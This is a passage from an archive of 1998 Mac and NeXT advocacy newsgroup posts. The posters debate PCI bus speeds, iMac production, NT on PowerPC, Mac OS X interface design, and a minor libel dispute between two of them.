> PCI speeds are limited to 33 MHz on most PCI Macs (IIRC, some might be at
> 30 MHz). The system bus speed is not the same as the PCI speed.
>
> PCI cards at > 33 MHz are only available for very high end workstations
(I
> don't think any Wintel or Mac has them yet). There are rumors that the
> Gossamer II Macs will have one 66 MHz PCI card, but I'm assuming you
don't
> have one of those yet.
The confusion here is between the CPU-to-memory bus speed, versus
the PCI bus speed. PCI is spec'd to run at 33MHz, though some people
overclock and
run it a bit faster. The CPU-to-memory bus runs faster. Standard-issue PC's
run at 66 Mhz or 100 Mhz, but overclockers run them at 75 Mhz, 83.3 Mhz,
and
at speeds over 100. 100 Mhz motherboards and a few of the later 66Mhz
boards run
the PCI bus asynchronously so that it runs at 33 Mhz regardless of the main
bus speed.
On the older motherboards, the PCI bus runs at 1/2 the main bus speed, so
if you
use a 75 Mhz bus, your PCI bus is running at 37.5 Mhz instead of 33, and
you get
a slight speed boost.
On some 'Super-7' motherboards, the system RAM is also asynchronous, so
that
it can run at 66 Mhz while the CPU and 2nd-level cache run at 100Mhz or
faster; that
lets you use older RAM instead of the newer DIMMS designed for 100Mhz.
Hm. Question. Do the G3 Macs only have cache on the CPU module, or do they
also have cache on the motherboard?
From: horner@foxtrotREMOVE.af1.odu.edu (John)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Date: Tue, 28 Jul 1998 01:17:15 GMT
Organization: Verio Mid-Atlantic
Message-ID: <35bd25ab.808825192@news.clark.net>
References: <6pior2$7s4@newsb.netnews.att.com> <B1E274EF-1342E@206.165.43.181>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
On 27 Jul 98 18:18:10 -0700, "Lawson English" <english@primenet.com>
wrote:
>gupta@kcopsrm.tm.tta.moc-mirror said:
>
>>Motorola claims SPECint95 of 16.1, SPECfp95 of 9.9 @ 366 MHz
>>with a 244 MHz, 1 MB L2. (The 300 MHz part gets 14.0 SPECint95
>>with a 150 MHz, 1 MB L2.)
>>
>>Not a tremendous speed-bump, but the power consumption reduction
>>should be very nice for laptops.
>
>
>
>AND it gives the iMac some room for growth.
>
The iMac is spec'd at 233 MHz. I could have sworn Motorola had faster
chips out right now.
Some room for growth for the 'cutting edge iMac'. Good ol Jobs. I can
almost see the reality distortion field shimmering from over here.
-J
--------
"It's just fun to watch a car crash in slow motion or in realtime.
Which way it impacts makes no difference to me. It just seems to
piss the bejeezus out of plenty of Mac users though. Isn't that odd?"
Taken from the Apple Doomsday Clock site at
http://www.netherworld.com/~mgabrys/clock/index.html
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 28 Jul 1998 01:45:47 GMT
Organization: Steel Driving Software
Message-ID: <01bdb9f3$8703da10$3643bacd@isdnjhendry>
References: <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu>
Pulsar <tokarek@uiuc.edu> wrote in article
<Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu>...
> Except that I'm not sure I give a damn about USB, Firewire, and 100MB/s
> Ethernet. I'd pay for AGP assuming PC AGP cards would work, but the other
> things are not compelling enough by themselves for me to buy a new
machine
> simply to get.
Note that Matrox's latest, and very, very fast 2d/3d cards apparently only
come in AGP
versions. No PCI. They're quite affordably priced too - the Mystique is
under $200 - they're
not for the high-end market. The other vendors will probably follow suit.
Only makes sense,
really. These cards are primarily judged by how well they run games, and
good performance
requires AGP to move the textures.
I agree about Firewire and 100 MB ethernet. I don't need them. I do like
the way USB
seems to be a little personal network of devices. Beats the hell out of PC
serial ports.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 1998 01:54:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pjb03$1jb@news1.panix.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net> <22Vu1.7668$7k7.10422726@news.rdc1.sdca.home.com>
On Mon, 27 Jul 1998 06:23:58 GMT, rr6013@yahoo.com <rr6013@yahoo.com> wrote:
>In <35BC0EF4.D2D0F1C8@nstar.net> Michael Peck wrote:
>> So what does His Highness think OS vendors should do? Create a different
>> UI for every different screen size on the planet? You've as much as
Why not? That is exactly what you can do with NSInterfaceStyle. That is
exactly the motivation behind MacOS' InterfaceManager and Gnome's themes.
There are simple things that can be decided at run time that allow a GUI
to scale from 800*600 to 1600*1200 without having to change the Apps.
>I'll be surprised if Apple can "fix" the Mac UI to "satisfy" ex-NeXT
>tag-a-longs like John and myself. Ten years experience is hard to unlearn
>for a "Back to the Future" Macintosh environment.
If you take DR2, add fiend (you can get it from Stepwise), miniwindows and
rip the menu of the top, you get a much more OpenStep like system. John
might dislike the pinstripes, and color choices (to each his own) but I
doubt they will be unchangable for long.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 01:54:04 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pjavt$1jb@news1.panix.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35BAB09C.F8830004@nstar.net> <6pg1av$5vr@news1.panix.com> <35BB8E53.DC3C13C4@nstar.net> <6pgutg$fie@news1.panix.com> <eli-2607982157120001@dynamic0.pm08.mv.best.com>
On Sun, 26 Jul 1998 21:57:11 -0800, Eli Goldberg
<eli@prometheus-music.com> wrote:
>In article <6pgutg$fie@news1.panix.com>, sal@panix.com wrote:
>> You keep bringing in all kinds of gonzo speculation
>> and unconfirmed rumors.
>Why don't you actually learn a bit about the topic you're trying to preach
>about, perhaps, prior to decrying documented historical fact after fact as
>'rumors'?
Even if all those statements are true, it doesn't change the fact that NT
on PPC failed independent of Apple. If Gateway wanted to build CHRP machines
and sell NT on them, there was nothing Apple could have done to stop them.
DEC sold NT on Intel and Alpha. IBM sold NT on PPC and Intel. What was keeping
Dell or Gateway from doing the same?
I am not claiming that Apple is 100% in the clear on this. The way that they
handled cloning could be best described as "awe inspiring incompetence". And
after reading about the way they signed on Power and Umax, I am surprised that
there hasn't been allegations of fiduciary irresponsibility from the
shareholders.
Apple screwed up, but they were hardly alone in that. Both IBM and Moto
deserve blame as well.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 28 Jul 1998 01:54:14 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pjb06$1jb@news1.panix.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <Pine.SOL.3.96.980722114004.22438H-100000@ux8.cso.uiuc.edu> <anewmanagn-2407982316290001@a4p22.ideasign.com> <Pine.SOL.3.96.980726001949.7987E-100000@ux7.cso.uiuc.edu> <6pg1bb$5vr@news1.panix.com> <rmcassid-2707980932050001@dante.eng.uci.edu>
On Mon, 27 Jul 1998 09:32:05 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>In article <6pg1bb$5vr@news1.panix.com>, sal@panix.com wrote:
>>Could Apple _build_ 3 or 4 million iMacs? I doubt it. The real benifit of
>In a _year_?
Not just any year, this year.
>You bet. Aug 15 1998 to Aug 15 1999, Apple _could_ build 4
>million iMacs. Keep in mind that Apple used to build about a million Macs
>per quarter back when they had 20+ models, horrible prediction models, and
>terrible ordering and inventory systems.
Apple is _still_ having inventory problems. How long did you have to wait
for your g3 powerbook? From what I've heard, Apple has been unable to build
enough g3s to meet demand.
>With a very simple computer, no variation, and (hopefully) multiple
^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^ ^^^^^^^^
>sources of parts, they can just crank them out full-speed. If the demand
^^^^^^^^^^^^^^^^
>is there, I'd expect they can ramp up production to meet it. I think
>creating the demand for that many will be harder.
Ok, you have a solid point. Maybe Apple has been working to get production
up in anticipation of the iMac. Maybe g3s were held back by this.
>>If Apple sells more then 2.5 million in the first year, I'll dress up like
>>an iMac for next Holloween.
>I assume you'll put a picture up for all to see...
I think I'll have to after making this boast...
I am working off the assumption that the iMac will account for 50% of Apple's
volume, and that existing g3 demand will drop by 25%. Existing g3 line sales
might drop from 650k unit to 480k units and the iMac might account for 480k
units. That would be under 4 million Macs, with a little under 2 million being
iMacs. This is just my gut estimate, I don't own a crystal ball... :)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 01:54:10 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pjb02$1jb@news1.panix.com>
References: <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35c2d68f.109269484@198.0.0.100> <gmgraves-2707981028150001@sf-usr1-17-145.dialup.slip.net> <6pilp3$4a1$2@server.signat.org>
On 27 Jul 1998 19:52:03 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
> Uhhh, it was? I'm pretty sure it was built to run on PC-like machines with
>a PPC, being sold primarily from Motorola (which I have used). I don't
>believe it runs on the RS/6000. You sure about this?
NT ran on PPC machines from IBM and Firepower (built from Motorola parts)
that were sold as high end NT workstations. They were very competitive with
NT on Intel at first. IIRC, Firepowers 604 based box offered 50% better CPU
performace and much better overall IO then the P5 based machines of the time.
The price was within 10% of a Dell or Gateway system.
The only thing it lacked was a native copy of Office.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 01:54:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pjavv$1jb@news1.panix.com>
References: <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35c2d68f.109269484@198.0.0.100>
On Mon, 27 Jul 1998 01:24:17 GMT, nate <nhughes@sunflower.com> wrote:
>On 26 Jul 1998 03:00:34 GMT, sal@panix.com (Sal Denaro) wrote:
>>NT, OS/2, Solaris and Netware for PPC were either killed or never shipped.
>>CHRP was dead before the first box shipped. It was too little, too late.
>Then just how do you explain the PPC version of NT4 on my CD?
Its on my copy of the CD as well. I must have changed "late" to "killed"
without removing NT from the OS list. Mea culpa.
In another thread I mention that Moto was planning to build a network of
VARs to sell PPC/NT based servers in Moto's markets. I was at a meeting
at PC Expo in '94 or '95 where Moto was demoing a line of "PowerStak"
servers running AIX. I still have a "PowerOpen" drink coaster that I pick
up at Unix Expo that year.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Slander, Libel, let's call the whole thing off (was Re: Getting along WAS: Re: Apple heading to obscurity?)
Date: 27 Jul 1998 21:15:59 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6piqmf$g3o$2@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <35BCC8AE.81F49DF0@starvision.com>
Brian Oberquell <boberque@starvision.com> wrote:
> John and Joe (and any others involved in this or future
> controversies), some suggestions:
>
> 1) Howzabout everyone look up the difference between "slander"
> and "libel"? Hint: one is written, the other is verbal.
It's not clear to me what a usenet post will constitute. You're likely right
that'll more likely be libel.
> 2) Please learn the difference between "your" and "you're". I
> find it hard to take people seriously when they miss a basic
> concept like this. Another one to watch out for (though I haven't
> seen it come up lately) is "its" and "it's".
I don't know if I did this, but I see this semantic slap quite often. I
think that most if not all know the difference, but it's simply a matter of
most people not giving too much a darn about the perfection of a usenet post.
Generally, if it comes out wrong for me, it's more a matter of typo than
grammar. As always, your mileage may vary when you're typing. :)
> 3) If someone makes an erroneous statement, try giving them the
> benefit of the doubt and informing them of the error of their
> ways, thus giving them a chance to apologize and make a retraction?
> Then, should they fail to do so, cry Havoc! and let slip the
> lawyers... :-)
I think this is settled to my satisfaction. Joe was nice enough to
appologize. It was decent of him.
> 3) If you choose to continue this pissing contest, please consider
> taking it off the NG or else change the subject header. While I
> find it mildly humourous, I would like the option of ignoring it
> -- which is harder to do when I have to check the message content
> because others are posting with this subject header. It would
> appear that it's winding down, but ya never know...
>
Done. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 1998 02:59:44 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pjer0$941@newsb.netnews.att.com>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu>
Originator: gupta@tlctest
Pulsar <tokarek@uiuc.edu> wrote:
>
>It does to solve the problem since it provides the user a clear indication
>of what is running. If you close all Netscape Windows, the program is no
>longer running in Windows whereas if you close all the Netscape windows on
>[snip]
I'm sorry, I thought you had mentioned earlier that it is correct
behavior for the program to stick around, even if all windows have
been closed. ( I certainly believe so.)
If you redefine the problem, then yes, Windows' taskbar solves the
(different) problem.
-arun gupta
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 27 Jul 1998 22:17:11 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6piu97$l9d$1@lwnws01.ne.highway1.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <andyba-ya02408000R2707981310020001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <6pgjkh$1i1$4@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > Limiting a desktop/laptop UI to that of a palmtop/PDA unit LCD
> > is moronic.
>
> Why? How would the Mac OS be "limited" by a 9" screen. The same
> UI works well on a 640x480 screen, and that resolution could
> probably be produced on a 9" screen. It seems like you are hung
> up on the size of the screen, when you should actually be talking
> about the resolution displayed.
Because most desktops/laptops being designed/manufactured today do XGA or
more. Because 640X480 only provides 39% the work area of XGA. 39% the work
area (in resolution) is a limitation.
> > What apple could do is what it has in the past; at least in
> > principle on this UI/device topic. You tout the newton. That
> > had a DIFFERENT UI appropriate to the size and abilities of
> > the newton screen. You make solutions appropriate for the
> > task.
>
> And the Newton failed. In theory, it was a great idea. In practice,
> people didn't like learning a new UI, and there wasn't enough
> software being produced for it (especially with crossplatform
> capabilities being taken into account). A Mac OS--based palmtop
> would seem to solve both of these problems.
This is funny. First you try to assert that I must hate the newton as though
that were a bad thing. Then if I say some aspect of it may be good, you it
seems you suggest its failure makes any good in it bad. Regardless, then you
can take the example of the PalmPilotUI.
> > Laptops today have 13.3, 14.2, & 15.1" screens. Very close to
> > desktop sizes.
>
> That's great. These can display as much as 1024x768 resolution,
> maybe even more. However, I am currently working in 632x624
> resolution just fine, and I know people who use 640x480 regularly.
> Why are these resolutions fine for desktop use, but useless for
> a palmtop?
The fact that you use old and dated technology should not be a limit for
future UI designs. By that notion we'd still be stuck with DOS.
> > There is some sense to keep those UI's similar. In my opinion,
> > I don't see any wisdom in limitiing the desktop/laptop UI to
> > what will work well on a significantly smaller screen.
>
> AGAIN, how is the current Mac UI limited by its ability to work
> on a smaller screen? For example, the ability to display small
> icons does not limit desktop users to displaying large icons.
This is a strawman. I've never said that the macUI is limited in usefullness
on a 9" screen. I DEFY you to find that I did. I've always held that the
macUI thrives on smaller screens.
> > I suggest they act sensibly. That means not limiting their
> > desktop/laptop machines to the LCD of a palmtop/PDA UI.
> And again, I put it to you that the current UI works well at
> 640x480. How is it limited by that fact? You have yet to demonstrate
> any way in which the current UI is limited by its ability to work
> at lower resolutions, and hence, lower screen sizes.
I never said any such thing. You must have misunderstood. I think the
current macUI does very well on small screens. I think it doesn't do as well
on large screens as other options. My statement is limiting a desktop/laptop
UI to that of a palmtop/PDA unit is not wise, IMO. That means, for example,
using or forcing the newtonUI, or the PalmPilot UI (which is pretty darn
successful for small screens), onto a 1600X1200 21" desktop, or onto a
1024X768 laptop would be foolish.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
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You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 03:36:55 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pjh0n$m6i$4@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <MPG.1026c4389a7ccdea989a2b@news.supernews.com>
don.brown@cesoft.com (Donald Brown) wrote:
> Check the quote, John. It was "IIRC, John said", IIRC meaning
> If I Recall Correctly. When Joe found he was wrong, he retracted
> it, and apologized.
Yes Don, I know. But if I say "IIRC John Doe was convicted for molesting 35
children, and I think he said he likes to do so" (when John Doe clearly has
not and does not), the defemation occurs nonetheless; imagine yourself in the
place of John Doe; the "IIRC" will not prevent harm from occuring and your
reputation from being hurt, perhaps irreprably. The "IIRC" doesn't change
that a factual assertion has been made.
> Saying "he does so because he doesn't like me" is a small leap
> to conclusions. Like the Grand Canyon is a small gap.
I think it's a safe conclusion that Joe doesn't like me. :)
> When you two are fighting issues, it's usually interesting to
> read. When you two are fighting over your fighting, it's annoying
> and wastes bandwidth and most of all is boring.
You're very likely right.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
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You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Getting along WAS: Re: Apple heading to obscurity?
Date: 27 Jul 1998 22:26:27 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6piuqj$l9d$2@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <35BCC8AE.81F49DF0@starvision.com> <not-2707981346370001@ip-26-031.phx.primenet.com>
not@a.valid.email.add (Michael M. Eilers) wrote:
> Actually, I was planning on suing John for exessive and nonsensical use of
> the word "orthoganal" (which, for those not blessed with a Websters,
> simply means right-angled). I'd really love to see a libel on Usenet case
> tried in court (and, by default, in the media), especially one with a
> journalist involved (no, Drudge does *not* count in this regard.) I think
> this would be amusing simply for the entertainment value of a judge and a
> team of prosecutors trying to find a pool of jurors who have even the
> vaguest idea of what Usenet (or the internet, or e-mail, or libel, or
> anything not discussed recently on a talk show) is all about.
Please correct me if I have it wrong, and I may well. I don't have any of my
old OOP texts here so I may well remember it wrong. But in the OO
programming sense, the word orthogonal talks about allowing one to use and
manipulate a variety of objects in a variety of manners but by doing so by
the mere manipulation of a general principle. So, for example, one could
setFloatValue to a text field, and to a scroller bar. The principle of
setting a float value might be applied orthogonally to many different cases.
If I got it wrong, I'd appreciate someone correcting my missunderstanding or
dim memory.
As for finding competent jurors or judges, they are not as rare as you make
them out to be; at least not when you know where to look.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 27 Jul 1998 22:28:14 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6piutu$l9d$3@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <6pirf3$i8k$1@nnrp1.dejanews.com>
arlis@iquest.net wrote:
> Hyperbole is the absolute worst mistake you can make.
There are worse.
> But I think I know a lawyer who will take the case. You can reach him at
> 1-800- 555-WAAH
You must be a frequent client.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 27 Jul 1998 21:45:33 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2707982145330001@pm3a20.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net> <Josh.McKee-2307982128320001@pm3a20.rmac.net> <MPG.1022d0677df988199899ed@news.supernews.com> <Josh.McKee-2507980952240001@pm3a23.rmac.net> <MPG.102459a86c0084e0989a04@news.supernews.com> <Josh.McKee-2607980952420001@pm3a6.rmac.net> <MPG.10256a18e0cf88e989a1d@news.supernews.com>
NNTP-Posting-Date: 28 Jul 1998 03:43:26 GMT
